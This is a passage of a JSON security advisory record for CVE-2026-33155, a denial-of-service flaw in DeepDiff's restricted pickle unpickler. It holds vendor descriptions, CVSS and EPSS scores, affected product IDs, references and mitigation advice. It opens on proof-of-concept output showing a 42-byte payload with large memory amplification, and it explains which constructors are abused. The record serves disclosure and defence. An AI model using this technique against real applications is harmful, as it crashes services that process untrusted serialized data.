MB\nAmplification: 813008x\nPayload size: 42 bytes\nAllocated: 95 MB\n```\n\n### Impact\n\nDenial of service. Any application that deserializes delta objects or calls `pickle_load` with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.\n\nThe amplification is large. 800,000x for delta and 2,000,000x for raw pickle.\n\nImpacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FGHSA-54jj-px8x-5w5q.json?alt=media" }, { "category": "description", "text": "DeepDiff is a project focused on Deep Difference and search of any Python data. From version 5.0.0 to before version 8.6.2, the pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data. This issue has been patched in version 8.6.2.", "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33155" }, { "category": "description", "text": "DeepDiff is a project focused on Deep Difference and search of any Python data. From version 5.0.0 to before version 8.6.2, the pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data. This issue has been patched in version 8.6.2.", "title": "debian - https://security-tracker.debian.org/tracker/CVE-2026-33155" }, { "category": "description", "text": "A flaw was found in DeepDiff. A remote attacker could exploit a vulnerability in the `_RestrictedUnpickler` component, which fails to limit constructor arguments for certain data types. By providing a specially crafted, small pickle payload, an attacker can force the application to allocate an excessive amount of memory, leading to a denial of service (DoS) due to application crashes.", "title": "redhat - https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33155.json" }, { "category": "other", "text": "0.00042", "title": "EPSS" }, { "category": "other", "text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "title": "CVSSV4" }, { "category": "other", "text": "8.7", "title": "CVSSV4 base score" }, { "category": "other", "text": "4.2", "title": "NCSC Score" }, { "category": "other", "text": "Is related to CWE-502 (Deserialization of Untrusted Data), There is cwe data available from source Nvd", "title": "NCSC Score top decreasing factors" }, { "category": "details", "text": "Severity: 2\n", "title": "Vendor assessment" } ], "product_status": { "known_affected": [ "CSAFPID-5875864", "CSAFPID-3100628", "CSAFPID-3260181", "CSAFPID-3260182", "CSAFPID-3260183", "CSAFPID-3260184", "CSAFPID-3260185", "CSAFPID-3260186", "CSAFPID-3260187", "CSAFPID-3260188", "CSAFPID-3260189", "CSAFPID-3260190", "CSAFPID-3260191", "CSAFPID-3260192", "CSAFPID-3260193", "CSAFPID-3260194", "CSAFPID-3260195", "CSAFPID-3260196", "CSAFPID-3260197", "CSAFPID-3260198", "CSAFPID-3260199", "CSAFPID-3260200", "CSAFPID-3260201", "CSAFPID-3260202", "CSAFPID-3260203", "CSAFPID-3260204", "CSAFPID-3260205", "CSAFPID-3260206", "CSAFPID-3260207", "CSAFPID-3260208", "CSAFPID-3260209", "CSAFPID-3260210", "CSAFPID-3260211", "CSAFPID-3260212", "CSAFPID-3260213", "CSAFPID-3260214", "CSAFPID-3260215", "CSAFPID-3260216", "CSAFPID-3260217", "CSAFPID-5876069", "CSAFPID-5885304", "CSAFPID-5885305", "CSAFPID-1439279", "CSAFPID-5068100", "CSAFPID-5068103", "CSAFPID-5068105", "CSAFPID-5068108", "CSAFPID-5068110", "CSAFPID-5068114", "CSAFPID-5068116", "CSAFPID-5068119", "CSAFPID-5068121", "CSAFPID-5068123", "CSAFPID-5068126", "CSAFPID-5068128", "CSAFPID-5068131", "CSAFPID-5068134", "CSAFPID-5155537", "CSAFPID-5155538", "CSAFPID-5222767", "CSAFPID-5222780", "CSAFPID-5474722", "CSAFPID-5474723" ] }, "references": [ { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-54jj-px8x-5w5q" }, { "category": "external", "summary": "Source raw - github", "url": "https://api.github.com/advisories/GHSA-54jj-px8x-5w5q" }, { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-54jj-px8x-5w5q" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33155.json" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FGHSA-54jj-px8x-5w5q.json?alt=media" }, { "category": "external", "summary": "Source - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33155" }, { "category": "external", "summary": "Source - debian", "url": "https://security-tracker.debian.org/tracker/CVE-2026-33155" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - redhat", "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33155.json" }, { "category": "external", "summary": "Reference - github; osv", "url": "https://github.com/seperman/deepdiff/security/advisories/GHSA-54jj-px8x-5w5q" }, { "category": "external", "summary": "Reference - github; osv", "url": "https://github.com/seperman/deepdiff/commit/0d07ec21d12b46ef4e489383b363eadc22d990fb" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-54jj-px8x-5w5q" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; redhat", "url": "https://github.com/qlustered/deepdiff/security/advisories/GHSA-54jj-px8x-5w5q" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; redhat", "url": "https://github.com/qlustered/deepdiff/commit/0d07ec21d12b46ef4e489383b363eadc22d990fb" }, { "category": "external", "summary": "Reference - github; redhat", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33155" }, { "category": "external", "summary": "Reference - redhat", "url": "https://www.cve.org/CVERecord?id=CVE-2026-33155" } ], "remediations": [ { "category": "mitigation", "details": "To mitigate this issue, applications using DeepDiff to process pickle data should restrict input to trusted sources only. Avoid processing untrusted or unvalidated pickle payloads, as this vulnerability can lead to a denial of service by exhausting system memory. Ensure proper input validation is in place for any pickle data processed by DeepDiff.", "product_ids": [ "CSAFPID-1439279", "CSAFPID-5068100", "CSAFPID-5068103", "CSAFPID-5068105", "CSAFPID-5068108", "CSAFPID-5068110", "CSAFPID-5068114", "CSAFPID-5068116", "CSAFPID-5068119", "CSAFPID-5068121", "CSAFPID-5068123", "CSAFPID-5068126", "CSAFPID-5068128", "CSAFPID-5068131", "CSAFPID-5068134", "CSAFPID-5155537", "CSAFPID-5155538", "CSAFPID-5222767", "CSAFPID-5222780", "CSAFPID-5474722", "CSAFPID-5474723" ] } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM" }, "products": [ "CSAFPID-1439279", "CSAFPID-3100628", "CSAFPID-3260181", "CSAFPID-3260182", "CSAFPID-3260183", "CSAFPID-3260184", "CSAFPID-3260185", "CSAFPID-3260186", "CSAFPID-3260187", "CSAFPID-3260188", "CSAFPID-3260189", "CSAFPID-3260190", "CSAFPID-3260191", "CSAFPID-3260192", "CSAFPID-3260193", "CSAFPID-3260194", "CSAFPID-3260195", "CSAFPID-3260196", "CSAFPID-3260197", "CSAFPID-3260198", "CSAFPID-3260199", "CSAFPID-3260200", "CSAFPID-3260201", "CSAFPID-3260202", "CSAFPID-3260203", "CSAFPID-3260204", "CSAFPID-3260205", "CSAFPID-3260206", "CSAFPID-3260207", "CSAFPID-3260208", "CSAFPID-3260209", "CSAFPID-3260210", "CSAFPID-3260211", "CSAFPID-3260212", "CSAFPID-3260213", "CSAFPID-3260214", "CSAFPID-3260215", "CSAFPID-3260216", "CSAFPID-3260217", "CSAFPID-5068100", "CSAFPID-5068103", "CSAFPID-5068105", "CSAFPID-5068108", "CSAFPID-5068110", "CSAFPID-5068114", "CSAFPID-5068116", "CSAFPID-5068119", "CSAFPID-5068121", "CSAFPID-5068123", "CSAFPID-5068126", "CSAFPID-5068128", "CSAFPID-5068131", "CSAFPID-5068134", "CSAFPID-5155537", "CSAFPID-5155538", "CSAFPID-5222767", "CSAFPID-5222780", "CSAFPID-5474722", "CSAFPID-5474723", "CSAFPID-5875864", "CSAFPID-5876069", "CSAFPID-5885304", "CSAFPID-5885305" ] } ], "title": "CVE-2026-33155" } ] }